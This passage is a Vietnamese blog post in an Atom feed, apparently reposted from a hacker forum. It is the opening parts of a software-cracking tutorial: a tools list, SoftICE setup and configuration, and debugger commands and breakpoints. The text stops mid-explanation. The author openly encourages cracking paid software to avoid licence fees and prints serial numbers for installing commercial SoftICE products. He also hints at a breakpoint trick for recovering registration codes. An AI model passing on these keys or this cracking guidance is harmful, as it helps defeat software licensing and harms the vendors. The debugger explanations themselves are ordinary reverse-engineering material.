Thuật&lt;/span&gt; &lt;span id="post_time_stamp" style="display: none; visibility: hidden;"&gt;12/04/2008 12:04:00 SA&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-8983549215540652731?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/8983549215540652731/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=8983549215540652731' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/8983549215540652731'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/8983549215540652731'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2008/12/hng-dn-ci-winxp-bng-usb.html' title='Hướng dẫn cài winxp bằng usb'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-4379747103853715075</id><published>2007-10-25T20:43:00.000-07:00</published><updated>2007-10-25T20:43:19.170-07:00</updated><title type='text'>Crack soft</title><content type='html'>Lời nói đầu:&lt;br /&gt;&lt;br /&gt;Chào các bạn, chắc hẳn trong số các bạn ai cũng từng xài  đang xài và sẽ xài đồ chùa do người khác crack. Có khi nào các bạn nghĩ rằng  mình sẽ crack cho mình để xài hay không? Vâng! cảm giác khi crack được một soft  rất thú vị…Nhưng làm sao để crack…ha ha đó chính là câu trả lờI chính đấy.Hiện  nay có nhiều bài viết liên chỉ dẫn về cách crack phần mềm, tuy rất hay nhưng hầu  như chỉ dành cho nhũng ngườI đã biết crack, do đó các bạn chưa biết gì về crack  không thể biết được.Vì lý do đó tôi đăng lên diễn đàn HVA một TUT hướng dẫn các  bạn từ A đến Z…Vì sao tôi chọn hướng crack mà không chọn hướng hack, rất đơn  giản, crk ít bị công an tóm, còn hack thì lạng quạng vào tù gỡ lịch he he…&lt;br /&gt;Trong loạt bài này (khoảng 30 phần) tôi sẽ hướng dẫn các bạn từ bước chân  đầu tiên tớI bước chân …lên xe bít bùng ke ke ke…Trong bài viết tôi có sử dụng  bài biết của các đạI ca trong làng crack như NVH©,SoftCracker_vn, Nguyen Manh  Cuong, luucorp,nicehacker,thitmeongonhon,Le Vu Hoang, Tran Ngoc Huan, Bui Thanh  Quang, v..v…Vì lợI ít chung mong các đạI ca tha tộI cho me…Tất cả vi nâng cao  chất lượng cho HVA…thank a lot&lt;br /&gt;&lt;br /&gt;hacnho&lt;br /&gt;&lt;br /&gt;PHẦN I: Chuẩn Bị&lt;br /&gt;&lt;br /&gt;I.Công cụ cơ bản cần có&lt;br /&gt;&lt;br /&gt;a.Debug :&lt;br /&gt;-SoftICe 4.05 for 9x,  NT---Công cụ debug khá mạnh tuy nhiên chuyên làm Win bị Ice&lt;br /&gt;-Numega SoftICE  Driver Suite 2.6 for XP ; mình thường dùng vì nó ít làm PC bị đóng băng&lt;br /&gt;-Smart Check 603(601 cũng đươc): debug for VB (chạy tốt trên 9x)&lt;br /&gt;-Quaid  Analyser :debug for DOS&lt;br /&gt;mình không dùng Win9X nên không dùng các dubug for  9X như TRW2k, nếu các bác dùng Win9X thì hãy dùng nó&lt;br /&gt;b.Debug add_on:&lt;br /&gt;-BreakICE for SoftICe4.05: tìm các breakpoint&lt;br /&gt;-FrogsICE: tạo ngắt ảo làm  các chương trình detect SoftICE không detect được SI…Điển hình như VK2000 build  10727 –không chạy đuợc trên Nt,Xp&lt;br /&gt;-SoftICe tools: các công cụ hỗ trợ SI như:  ICE-HIDE, ICE-SET,INT6TEST,TRACEME, UCF 2000&lt;br /&gt;-Icedump: đổ bộ nhớ từ Si tới  file&lt;br /&gt;Virtual address to file offset: khi Si tìm được offset ảo thì nó sẽ  giúp Si tìm được offset thật…&lt;br /&gt;c. HexEditor: chỉnh sửa file hexa&lt;br /&gt;-  HexaWorkShop3.0 : chỉnh sửa các file hexa khá mạnh&lt;br /&gt;- Hacker View 602(HIEW):  công cụ chỉnh sửa file hexa rất mạnh (45% phần mềm muốn crk được đều nhờ nó)&lt;br /&gt;d. DeCompliers: dùng để dịch ngược file nguồn như exe, dll ra assembly&lt;br /&gt;&lt;br /&gt;- WinDeAssembly893: công cụ khá mạnh dùng dịch ngược file (nên kiếm bản  fix để khỏI cần dùng HIEW, vi nó sẽ thêm menu EDIT trên thanh toolsbar, ta có  thể chỉnh sửa file trực tiếp trên WDASM)&lt;br /&gt;&lt;br /&gt;Chú Ý; để WDASM chạy ngon lành  bạn cần kiếm cho được các file patch cho nó như sau:&lt;br /&gt;*.SDR Enable for VB:  WD893SDR.exe: giúp WDASM deassembly được VB&lt;br /&gt;*.W32Dasm V8.93 Permanent Patch  Maker: This patcher will add a button to your W32Dasm CodePatcher screen which  will allow you to save your patches directly into the program.&lt;br /&gt;It will also  change the W32Dasm CreateFile call so that you can then edit and save files  whilst you have them open in W32Dasm.&lt;br /&gt;*.Modifying pro loaded in WDASM:  W32D-LaZ.exe: sửa lỗI cho WDASM&lt;br /&gt;*.W32pp: thêm menu edit, thay đổI hình nền  cho WDASM&lt;br /&gt;&lt;br /&gt;----------hiện nay mình đã làm một bản WDASM rất xịn,  fix,patch hết, bác nào có host mình up lên cho anh em tảI về xài, đỡ mất công  tìm file.rar khoang 0.9mb------------&lt;br /&gt;&lt;br /&gt;-Riêng những chương trình được  viết bằng Delphi thì nên dùng hai chương trình sau để decompliers: EXE TO  DPR,EIRE&lt;br /&gt;&lt;br /&gt;-Install Shied decomplier: decomplier cho Install Shied&lt;br /&gt;&lt;br /&gt;-BorlandC,Turbo Pascal,Vb,VC,Win32Asm,MASm611,: dùng để viết keygen&lt;br /&gt;&lt;br /&gt;e.Quan trọng không kém là các chương trình dùng để pack, và unpack các  soft .&lt;br /&gt;(Các bạn lưu ý, mình dùng các thuật ngữ mà không giảI thích, bởI vì  mình sẽ có một phần dùng để giảI thích các thuật ngữ, các bạn chịu khó theo  dõi-Phần3)&lt;br /&gt;&lt;br /&gt;-Procdump32: giảI nén cho nhiều dạng file – thích hợp cho các  file pack mà ta không biết được nó pack bằng gì&lt;br /&gt;-DeShrink: dùng giảI nén cho  Shrink&lt;br /&gt;-Upx093w: giảI nén UPX&lt;br /&gt;-unpetite: giảI nén petite( tui sợ nhất  nó, thank LE VU HOANG đã chỉ tui về nó)&lt;br /&gt;-I5Comp : giảI nén file.cab&lt;br /&gt;-Install Shied decompressor: giảI nén Install Shied decompressor&lt;br /&gt;-UnPEprot: giảI nén cho khoá PE&lt;br /&gt;….vào còn nhiều dạng nén khác như ASP,  Pklite…tuỳ theo mà các bạn tìm unpacker cho thích hợp&lt;br /&gt;&lt;br /&gt;f. Ngoài ra còn có  các chương trình dùng để sửa giao diện của file nguồn như: Resource Hacker, Exe  Scope,Symantec Resource Studio,Restorator v2.50 build 757…cũng khá hữu dụng&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;II. Cài Đặt:&lt;br /&gt;&lt;br /&gt;tất cả các soft tôi hướng dẫn ở  trên đều rất dễ cài, tảI về và tiến hành cài bình thường …bạn có thể tìm chúng ở  trang tools của HVA, hay vào www.ctools.net để tảI chúng về…Riêng SoftICE405 và  Numega SoftICE Driver Suite2.6 là tôi xin hướng dẫn một chút xíu.tài liệu về cài  đặt SoftICe405 tôi post từ bài của anh NVH©…&lt;br /&gt;&lt;br /&gt;*.Cách cài đặt Numega  SoftICE Driver Suite2.6&lt;br /&gt;tiến hành cài bình thường, nhập serial là  :7804-17786F-73 or 7808-21675E-F4, sau khi cài xong trong bảng Driver Studio  Config, các bạn nên chọn là Manual, nghĩa là muốn xài lúc nào thì chỉ cần vào  mục Numega SoftICE Driver Suite trên thanh Start, chọn Start SoftICE, không muốn  xài nó nữa thì chon disable…rất đơn giản…Có điều trong Numega SoftICE Driver  Suite2.6 không hiểu sao không set được breakpoint Hmemcpy( dùng cho các chương  trình viết bằng Vb)..ai biết chỉ giùm&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*.Cài SoftIce405, he he he  trước khi cài nên backup data trong máy lạI nhe, tốt nhất là ghost lạI là Ok? Vì  nó dễ làm crash máy của bạn lắm…kinh nghiêm của tui khi cài nó lần đàu tiên  tưởng dễ xơi ai dè tiêu luôn window phảI format cài lạI, mất toàn bộ mail bồ tui  gửI cho…cẩn thận đó nhe các bác…Dù xài nó mòn răng nhưng mỗI lần cài nó là tui  xanh mặt, nhất là lúc khởi động máy…TrờI ạ bồ tui có bầu tui không sợ bằng lúc  nó load lên đâu…sau đây là cách cài nó&lt;br /&gt;&lt;br /&gt;1. Download Softice for Win 9x ở  www.numega.com&lt;br /&gt;2. Tiến hành cài đặt Softice chỉ bằng cách nhấn vào trình cài  đặt Setup&lt;br /&gt;3. Khi cài đặt SoftIce sẽ yêu cầu bạn đánh số Serial thì mới có  thể tiếp tục&lt;br /&gt;4. Bạn đánh 1900-0000DD-9B&lt;br /&gt;5. OK. Tiếp tục cài Softice,  nhưng trước khi yêu cầu restart lại máy bạn hãy làm:&lt;br /&gt;6. Mở Notepad hay một  trình soạn thảo nào đó, mở file winice.dat trong thư mục của Numega đã cài vào  máy bạn&lt;br /&gt;7. Cố gắng tìm dòng ghi INIT="WR;X;" (ở gần đầu file) và sửa nó  thành INIT="WD;WR;WL;CODE ON;X;"&lt;br /&gt;8. Cố gắng tìm dòng như sau : (ở gần cuối  file)&lt;br /&gt;; ***** Examples of export symbols that can be inluded for Windows 9x  *****&lt;br /&gt;; Change the path to the appropriate drive and directory&lt;br /&gt;;EXP=c:\windows\system\kernel32.dll&lt;br /&gt;;EXP=c:\windows\system\user32.dll&lt;br /&gt;;EXP=c:\windows\system\gdi32.dll&lt;br /&gt;;EXP=c:\windows\system\comdlg32.dll&lt;br /&gt;;EXP=c:\windows\system\shell32.dll&lt;br /&gt;;EXP=c:\windows\system\advapi32.dll&lt;br /&gt;;EXP=c:\windows\system\shell232.dll&lt;br /&gt;;EXP=c:\windows\system\comctl32.dll&lt;br /&gt;;EXP=c:\windows\system\crtdll.dll&lt;br /&gt;;EXP=c:\windows\system\version.dll&lt;br /&gt;;EXP=c:\windows\system\netlib32.dll&lt;br /&gt;;EXP=c:\windows\system\msshrui.dll&lt;br /&gt;;EXP=c:\windows\system\msnet32.dll&lt;br /&gt;;EXP=c:\windows\system\mspwl32.dll&lt;br /&gt;;EXP=c:\windows\system\mpr.dll&lt;br /&gt;Và hãy xoá tất cả những dấu chấm phẩy  (&lt;img src="http://www.blogger.com/hvaonline/images/smilies/068ae40523a24c9ef54edefd375e542d.gif" border="0" /&gt; ở đầu dòng đoạn này đi. OK bây giờ save lại và restart lại máy để bắt  đầu sử dụng&lt;br /&gt;&lt;br /&gt;Bai viet cua hacnho from HVA (xin vui long de dong nay khi  ban trich dan lai--thanx a lot)&lt;br /&gt;&lt;br /&gt;Trong phần 2 tui sẽ hướng dẫn các bác sử  dụng SoftICe, từng câu lệnh, từng hàm…rất cặn kẽ rất dễ hiểu&lt;br /&gt;&lt;br /&gt;&lt;span class="postbody"&gt;PHẦn II:&lt;br /&gt;Chào các bạn chúng ta lạI gặp nhau ở phần II  này, qua bài viết ở phần I hẳn các bạn đã chuẩn bị đầy đủ “súng ống đạn dược” để  chiến đấu vớI các soft rồI phảI không? Ok ở phần II này tôi xin hướng dẫn các  bạn sử dụng công cụ SoftIce, đây là công cụ debug mạnh cực kỳ, nó được ví như  khẩu M-16 của các chiến sỹ marine trên chiến trường. Muốn “giết chết” được phần  mềm các bạn phảI hiểu rõ các sử dụng nó, nếu không cẩn thận thì bạn sẽ bị chính  nó kill đấy…&lt;br /&gt;Chú ý: trong bài này tôi có tham khảo bài viết của  DTK,NVH©—thanx a lot for support&lt;br /&gt;&lt;br /&gt;I.SoffICE là gì và tại sao phải dùng  nó?&lt;br /&gt;Chúng ta đều biết SoftIce là công cụ của hãng Numega viết ra dùng cho  các programmer dùng để debug chương trình…Tuy nhiên nó được các cracker thế giớI  dùng để crack các phần mềm…Do vậy nguyên gốc của nó không phảI là dùng để phục  vụ cho mục đích crack…Có nhiều bạn hỏI tui tạI sao SoftIce là một công cụ dùng  để crack mà lạI đòi số serial, sao ta không dùng chính nó để crack nó. TrờI ạ,  có bạn lạI dùng chính SoftIce để crack chính nó, có bạn crack không được rồI la  lên rằng “ TrờI ạ, SoftIce lạI detect SoftIce…”!!! he he bây giờ các bạn đã hiều  về lai lịch của SofIce rồI chứ, nó không phảI phần mềm viết riêng cho các  cracker chúng ta đâu mà chính do chúng ta tìm được nó và sử dụng nó vào mục đích  đen tốI đấy chứ. Không sao bản thân cracker là những ngườI rất nghèo, nghèo  tiền, nghèo tình, nhưng chỉ có giàu duy nhất ở một lòng đam mê, luôn luôn tìm  tòi khám phá…Thử hỏI nếu không có các cracker thì thế giớI IT đâu phát triển…(vì  có phá để rồI mớI có sửa …rồI bị phá tiếp ke ke).&lt;br /&gt;Các nhà lập trình chắc  chắn rất căm thù cracker, nhưng họ không nghĩ đến chúng ta những ngườI nghèo  tiền nhưng giàu lòng đam mê. Đơn cử như hãng SoftTex họ viết ra EV Tran Tech 2.0  nhưng lạI bán vớI giá cắt cổ, 4000000VND, trờI ạ tui mỗI tháng má tui gửI cho 1  triệu , trừ các khoản chi phí tui chỉ còn lạI vỏn vẹn có 50000, nếu muốn xài Ev  Tran tui phảI để dành dài cổ luôn…Do đó cách duy nhất là crack nó bằng M-16  thôi…Oh các bác thử tưởng tượng tui chỉ dùng có vỏn vẹn có một lệnh (? Edx )và  set hai break point(bpx getwindowtexta, bpx 4xxxBC) : offset xxx các bác tìm  nhé:: là tui đã được số returncode &lt;img src="http://www.blogger.com/hvaonline/images/smilies/068ae40523a24c9ef54edefd375e542d.gif" border="0" /&gt;.  Không phảI tui ham crack mà tạI họ ép tui đấy chứ.&lt;br /&gt;&lt;br /&gt;II.Những kiến thức cơ  bản về sử dụng SoftICE&lt;br /&gt;Bật cửa sổ SoftICE&lt;br /&gt;&lt;br /&gt;Bạn có thể bật (hiển thị)  cửa sổ SoftICE bất kì lúc nào sau khi đã cài SoftICE bằng cách nhấn Ctrl-D, mặc  định là vậy, bạn cũng có thể thay đổi bằng lệnh:&lt;br /&gt;&lt;br /&gt;ALTKEY [Alt letter |  Ctrl letter]&lt;br /&gt;&lt;br /&gt;Thí dụ nếu bạn muốn dùng Alt-E để bật/tắt SoftICE thay cho  Ctrl-D, trong Command Window (khung dưới cùng của SoftICE) nhập:&lt;br /&gt;ALTKEY Alt  E&lt;br /&gt;Giao diện SoftICE&lt;br /&gt;&lt;br /&gt;Cửa sổ SoftICE được chia làm nhiều khung, nếu  bạn cấu hình như file Winice.dat của tui thì chỉ thấy được 4 khung quan trọng  nhất:&lt;br /&gt;• Khung trên cùng là Register Window, hiển thị các giá trị hiện hành  của các thanh ghi, sau mỗi câu lệnh thi hành, thanh ghi hay cờ nào bị thay đổi  do câu lệnh đó thì màu hiển thị sẽ thay đổi, có màu xanh lá (bình thường là  trắng).&lt;br /&gt;&lt;br /&gt;Bạn có thể bật/tắt khung này bằng lệnh WR. Trong Command Window  (khung dưới cùng) nhập:&lt;br /&gt;WR (enter)&lt;br /&gt;lần thứ nhất sẽ tắt (hay bật)  Register Window, gọi lần thứ 2 để bật (hay tắt) nó.&lt;br /&gt;&lt;br /&gt;Để thay đổi giá trị  của 1 thanh ghi bất kì bạn có thể dùng chuột kích vào giá trị của thanh ghi cần  thay đổi trong Register Window sau đó nhập giá trị cần thay đổi hoặc trong  Command Window bạn dùng lệnh:&lt;br /&gt;&lt;br /&gt;R Tên_thanh_ghi Giá_trị_cần_thay_đổi&lt;br /&gt;&lt;br /&gt;Thí dụ để thay đổi giá trị của thanh ghi EAX đến 400000h, nhập:&lt;br /&gt;R  EAX 400000&lt;br /&gt;&lt;br /&gt;Để bật tắt cờ dùng cú pháp sau:&lt;br /&gt;&lt;br /&gt;R FL Tên_cờ&lt;br /&gt;&lt;br /&gt;Thí dụ cờ nhớ hiện tại đang tắt, để set nó lên, nhập:&lt;br /&gt;R FL C&lt;br /&gt;Tương tự để tắt nó dùng lệnh:&lt;br /&gt;R FL C&lt;br /&gt;• Khung thứ hai là Data Windows  dùng hiển thị dữ liệu, nếu bạn đã từng sử dụng qua 1 trình biên tập Hex sẽ thấy  rất quen thuộc với khung này. Được chia thành 3 cột, cột thứ nhất cho biết địa  chỉ trong vùng nhớ của dữ liệu đang hiển thị, cột thứ 2 là giá trị từng Byte dữ  liệu (mặc định là vậy, bạn cũng có thể thay đổi để hiển thị kiểu dữ liệu khác)  và cột cuối cùng là dữ liệu hiển thị dưới dạng các kí tự ASCII, đối với cột này  SoftICE chỉ hiển thị các kí tự in được và không phải là các kí tự đồ họa.&lt;br /&gt;&lt;br /&gt;Bạn có thể dùng chuột để kéo lên 1 hàng hay 1 trang dữ liệu trong cửa sổ  này nhờ vào thanh Scrollbar ở cạnh phải của khung. Bạn cũng có thể dùng bàn  phím:&lt;br /&gt;Alt-Up : lên 1 hàng&lt;br /&gt;Alt-Down : xuống 1 hàng&lt;br /&gt;Alt-Page Up : lên  1 trang&lt;br /&gt;Alt-Page Down : xuống 1 trang&lt;br /&gt;&lt;br /&gt;Để bật/tắt Data Window dùng  lệnh WD.&lt;br /&gt;&lt;br /&gt;Để thay đổi kích thước (chiều cao) của Data Window dùng lệnh:&lt;br /&gt;&lt;br /&gt;WD kích_thước_muốn_đặt&lt;br /&gt;&lt;br /&gt;Thí dụ bạn muốn đặt kích thước của Data  Window là 20 hàng, trong Command Window nhập:&lt;br /&gt;WD 20&lt;br /&gt;&lt;br /&gt;Bạn có thể biên  tập trực tiếp các giá trị trong Data Window bằng cách kích chuột vào khung Data  Windows (hoặc nhấn Alt-D) để chuyển con trỏ vào khung này, sau đó nhập giá trị  cần sửa đổi.&lt;br /&gt;&lt;br /&gt;Để thay đổi kiểu hiển thị dữ liệu trong Data Window thí dụ  Byte, Word, DWord, Short Real, Long Real hay 10 Byte Real bạn có thể dùng chuột  kích vào text hiển thị kiểu dữ liệu hiện dùng nằm phía trên của khung Data  Window.&lt;br /&gt;• Khung thứ 3 là Code Window, hiển thị các lệnh hợp ngữ, được chia  thành 3 cột, cột bên trái hiển thị địa chỉ trong bộ nhớ của câu lệnh, cột thứ  hai là mã Byte của câu lệnh và cột thứ 3 hiển thị lệnh được disassembly.&lt;br /&gt;&lt;br /&gt;Bạn có thể dùng chuột để kéo lên 1 hàng hay 1 trang dữ liệu trong cửa sổ  này nhờ vào thanh Scrollbar ở cạnh phải của khung. Bạn cũng có thể dùng bàn  phím:&lt;br /&gt;Ctrl-Up : lên 1 hàng&lt;br /&gt;Ctrl-Down : xuống 1 hàng&lt;br /&gt;Ctrl-Page Up :  lên 1 trang&lt;br /&gt;Ctrl-Page Down : xuống 1 trang&lt;br /&gt;&lt;br /&gt;Để bật/tắt Code Window  dùng lệnh WC.&lt;br /&gt;&lt;br /&gt;Để thay đổi kích thước (chiều cao) của Code Window dùng  lệnh:&lt;br /&gt;&lt;br /&gt;WC kích_thước_muốn_đặt&lt;br /&gt;&lt;br /&gt;Thí dụ bạn muốn đặt kích thước của  Code Window là 10 hàng, trong Command Window nhập:&lt;br /&gt;WC 10&lt;br /&gt;&lt;br /&gt;Nếu thấy  cột chứa mã Byte của các câu lệnh (cột thứ 2) không cần thiết, bạn có thể tắt nó  bằng cách nhập lệnh Code Off trong Command Window, và bật lại bằng lệnh Code On.&lt;br /&gt;&lt;br /&gt;Để di chuyển con trỏ vào trong Code Window bạn nhấn Alt-C&lt;br /&gt;&lt;br /&gt;Câu  lệnh nằm trên thanh ngang màu đỏ trong Code Window là câu lệnh đang được thực  thi tại thời điểm SoftICE bật lên, và được SoftICE làm "đóng băng" tạm thời.&lt;br /&gt;• Khung thứ 4 là Command Window dùng để nhập lệnh và hiển thị các thông báo  của SoftICE.&lt;br /&gt;Để xoá các lệnh đã nhập hoặc các thông báo tạo bởi SoftICE  trước đó dùng lệnh Cls.&lt;br /&gt;&lt;br /&gt;Để bật/tắt các khung khác trong cửa sổ SoftICE  bạn có thể dùng các lệnh sau:&lt;br /&gt;• WF : bật/tắt Floating Point Stack Window&lt;br /&gt;• WL : bật/tắt Locals Window&lt;br /&gt;• WW : bật/tắt Watch Window&lt;br /&gt;&lt;br /&gt;Thanh  nằm dưới cùng của cửa sổ SoftICE để hiển thị các trợ giúp tức thời (bên trái) và  tên của Process (tiến trình) đang được theo dõi bởi SoftICE (bên phải).&lt;br /&gt;Thoát khỏi cửa sổ SoftICE&lt;br /&gt;&lt;br /&gt;Để thoát tạm thời khỏi cửa sổ SoftICE dùng  lệnh X.&lt;br /&gt;Bạn cũng có thể tạm thoát SoftICE bằng cách nhấn F5 hoặc Ctrl-D.&lt;br /&gt;Thay đổi kích thước của cửa sổ SoftICE&lt;br /&gt;&lt;br /&gt;Để thay đổi kích thước của  cửa sổ SoftICE dùng lệnh:&lt;br /&gt;&lt;br /&gt;Lines kích_thước_mới&lt;br /&gt;&lt;br /&gt;Thí dụ để thay  đổi cửa sổ SoftICE thành 60 dòng, nhập:&lt;br /&gt;Lines 60&lt;br /&gt;Lấy trợ giúp từ SoftICE&lt;br /&gt;&lt;br /&gt;Để hiển thị các trợ giúp của SoftICE bạn có thể dùng lệnh H hoặc Help.&lt;br /&gt;Để nhận được trợ giúp riêng biệt về 1 lệnh nào đó dùng cú pháp sau:&lt;br /&gt;&lt;br /&gt;H [command]&lt;br /&gt;&lt;br /&gt;hay&lt;br /&gt;&lt;br /&gt;Help [command]&lt;br /&gt;&lt;br /&gt;Thí dụ lệnh:&lt;br /&gt;H AltKey&lt;br /&gt;sẽ hiển thị các trợ giúp của SoftICE cho lệnh AltKey như sau:&lt;br /&gt;Set key sequence to invoke window&lt;br /&gt;ALTKEY [ALT letter | CTRL letter]&lt;br /&gt;Ex : ALTKEY ALT D&lt;br /&gt;Khó khăn với SoftICE&lt;br /&gt;&lt;br /&gt;SoftICE là 1 chương trình  rất khó chịu, bất kì khi nào bạn thi hành 1 ứng dụng bị lỗi hoặc xung đột với  SoftICE, cửa sổ SoftICE sẽ bật lên ngay, gặp trường hợp đó, bạn nhấn phím C để  tiếp tục thi hành ứng dụng này hay nhấn phím R để trở về SoftICE (con trỏ sẽ  xuất hiện lại trong Command Window của SoftICE để cho phép nhập lệnh), bạn nhập  lệnh EXIT để nhờ SoftICE ép Process gặp lỗi này thoát cưỡng bức. Nếu sau khi làm  như vậy, bạn gặp lỗi màn-hình-xanh( màn hình xanhchết chóc trong Won9x,và  WinME), cứ bình tĩnh nhấn Enter hoặc Esc, hệ thống sẽ trở lại bình thường còn  nếu hệ thống bị "đóng băng" thật sự, hay chấp nhận điều đó. Nhân vô thập toàn sự  vô thập mỹ mà!!!&lt;br /&gt;III.Dùng Breakpoint (điểm ngắt) trong SoftICE&lt;br /&gt;Breakpoint là gì và tại sao phải dùng nó?&lt;br /&gt;&lt;br /&gt;Có thể hiểu 1 cách gần  đúng Breakpoint tương tự như 1 sự gài bẫy hệ thống. Khi bạn tạo 1 Breakpoint  bằng SoftICE (hay các chương trình Debug tương tự khác), bất kì khi nào hệ thống  xuất hiện tình trạng mà nó thoả mãn các điều kiện trong Breakpoint của bạn,  SoftICE sẽ đóng băng tiến trình xảy ra Breakpoint, và bạn có thể theo dõi tình  trạng hiện hành của hệ thống (mã, dữ liệu, các thanh ghi...) nhờ vào cửa sổ của  SoftICE.&lt;br /&gt;Đặt 1 Breakpoint chính xác, đó là điều kiện đầu tiên để bạn có thể  trở thành 1 Cracker.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="postbody"&gt;IV.Giới thiệu về Breakpoint trong SoftICE&lt;br /&gt;&lt;br /&gt;Bạn có  thể dùng SoftICE để thiết lập Breakpoint trong mã chương trình đang thi hành,  trong thao tác đọc viết vào 1 vị trí bộ nhớ, ngắt (interrupts) và đọc viết tới  các I/O ports... SoftICE sẽ gán 1 chỉ số, từ 0 đến FFh cho mỗi Breakpoint được  thiết lập. Bạn có thể dùng chỉ số của Breakpoint để nhận diện các Breakpoint khi  đặt, xóa, vô hiệu hóa, kích hoạt hay biên tập chúng.&lt;br /&gt;Tất cả các Breakpoint  của SoftICE là bền vững, nghĩa là SottICE sẽ theo dõi và duy trì 1 Breakpoint  cho tới khi bạn xoá hoặc vô hiệu hóa nó bằng lệnh BC hay BD. Sau khi xoá các  Breakpoint, có thể xem lại chúng bằng lệnh BH, điều này sẽ hiển thị 1 danh sách  các Breakpoint đã dùng.&lt;br /&gt;Trong SoftICE, bạn có thể đặt 1 lần tới 256  Breakpoint. Tuy nhiên, số các Breakpoint Memory (BPM) và I/O (BPIO) không được  quá 4, điều này là do hạn chế của bộ vi xử lí x86.&lt;br /&gt;Những dạng Breakpoint  được hổ trợ bởi SoftICE&lt;br /&gt;&lt;br /&gt;SoftICE cung cấp 1 loạt các khả năng Breakpoint  đầy sức mạnh như sau:&lt;br /&gt;• Execution Breakpoints : SoftICE thay thế chỉ thị máy  (lệnh) hiện có bởi INT 3. Bạn có thể dùng lệnh BPX để thiết lập Execution  Breakpoints.&lt;br /&gt;• Memory Breakpoints : SoftICE dùng các thanh ghi debug của x86  để ngắt khi 1 hay nhiều Byte/Word/DWord xác định nào đó của bộ nhớ được đọc,  viết hoặc thi hành. Bạn dùng lệnh BPM để đặt Memory Breakpoints.&lt;br /&gt;• Interrupt  Breakpoints : SoftICE chặn ngắt (interrupt) bằng cách sửa đổi IDT (Interrupt  Descriptor Table) vectors. Bạn dùng lệnh BPINT để đặt Interrupt Breakpoints.&lt;br /&gt;• I/O Breakpoints : SoftICE dùng các thanh ghi debug mở rộng trên các CPU  Pentium và Pentium-Pro để theo dõi các chỉ thị IN hay OUT đến 1 cổng (port) xác  định nào đó. Bạn có thể dùng lệnh BPIO để đặt I/O Breakpoints.&lt;br /&gt;• Window  Message Breakpoints : SoftICE bẫy 1 hoặc 1 dãy các thông điệp đi đến 1 cửa sổ  xác định. Bạn có thể dùng lệnh BMSG để thiết lập Window Message Breakpoints.&lt;br /&gt;Các tùy biến cho Breakpoint&lt;br /&gt;&lt;br /&gt;Bạn có thể tùy biến thêm cho các dạng  Breakpoint bằng cách dùng 2 tùy chọn sau:&lt;br /&gt;• Biểu thức điều kiện [IF  expression] : Muốn Breakpoint xảy ra biểu thức phải có giá trị khác 0 (True).&lt;br /&gt;• Hành vi Breakpoint [DO "command1;command2;"] : 1 dãy các lệnh SoftICE sẽ  được tự động thi hành khi xảy ra Breakpoint.&lt;br /&gt;Execution Breakpoints&lt;br /&gt;&lt;br /&gt;1  Execution Breakpoint sẽ chặn các chỉ thị máy thí dụ như 1 lời gọi hàm hay 1 câu  lệnh nào đó. Đây là dạng Breakpoint thường dùng nhất. Bằng cách thay thế câu  lệnh hiện có bằng 1 lệnh INT 3, SoftICE sẽ lấy được điều khiển khi thi hành  Breakpoint INT 3 này.&lt;br /&gt;Có 2 cách để đặt Execution Breakpoint trong SoftICE :  dùng chuột và dùng lệnh BPX.&lt;br /&gt;Dùng chuột để đặt Breakpoint&lt;br /&gt;Bạn có thể  dùng chuột để đặt hay xóa Breakpoint dạng point-and-shoot (Breakpoint bền vững)  và Breakpoint dạng one-shot (Breakpoint chỉ dùng 1 lần).&lt;br /&gt;Để đặt 1 Breakpoint  dạng point-and-shoot, trong Code Window kích đôi vào hàng lệnh mà bạn muốn đặt  điểm ngắt. SoftICE sẽ điểm sáng hàng này. Kích đôi hàng này lần nữa để xóa  Breakpoint.&lt;br /&gt;Để đặt Breakpoint dạng one-shot, kích chuột vào hàng mà bạn muốn  đặt Breakpoint để di chuyển con trỏ đến hàng này sau đó dùng lệnh HERE (hay nhấn  phím F7).&lt;br /&gt;khi thi hành đến hàng lệnh đã được đặt Breakpoint, SoftICE sẽ cho  "đóng băng" Process đang theo dõi và bạn có thể theo dõi tình trạng hiện hành  của tiến trình này.&lt;br /&gt;Dùng lệnh BPX để đặt Breakpoint&lt;br /&gt;Dùng lệnh BPX với  các tham số sau để đặt 1 Execution Breakpoint:&lt;br /&gt;&lt;br /&gt;BPX [address] [IF  expression] [DO "command1;command2;"]&lt;br /&gt;&lt;br /&gt;Tìm hiểu thí dụ sau để hiểu kĩ hơn  về lệnh BPX:&lt;br /&gt;&lt;br /&gt;Chạy Notepad, gõ 1, 2 từ sau đó chọn File.New. Notepad sẽ  hiển thị hộp thông báo nhắc nhở có Save lại không. Hộp thông báo có title  'Notepad', với chuỗi thông báo 'The text in the Untitled file has changed.\n\nDo  you want to save the changes?'.&lt;br /&gt;&lt;br /&gt;Ghi chú: '\n' có nghĩa là xuống hàng.&lt;br /&gt;&lt;br /&gt;Bạn nhấn Cancel.&lt;br /&gt;Để hiển thị được hộp thông báo trên, Notepad phải  gọi API MessageBoxA. Chúng ta đặt 1 Breakpoint sao cho khi Notepad gọi API trên  sẽ bị SoftICE cho "đóng băng".&lt;br /&gt;Vào SoftICE (Ctrl-D), nhập:&lt;br /&gt;BPX  MessageBoxA&lt;br /&gt;Rời SoftICE (Ctrl-D lần nữa hay nhập lệnh X hoặc bạn nhấn F5),  vào Notepad, chọn File.New. Cửa sổ SoftICE sẽ bật lên, chúng ta đang ở điểm vào  của API MessageBoxA. Mã mà bạn thấy trên Code Window không phải là mã của  Notepad mà 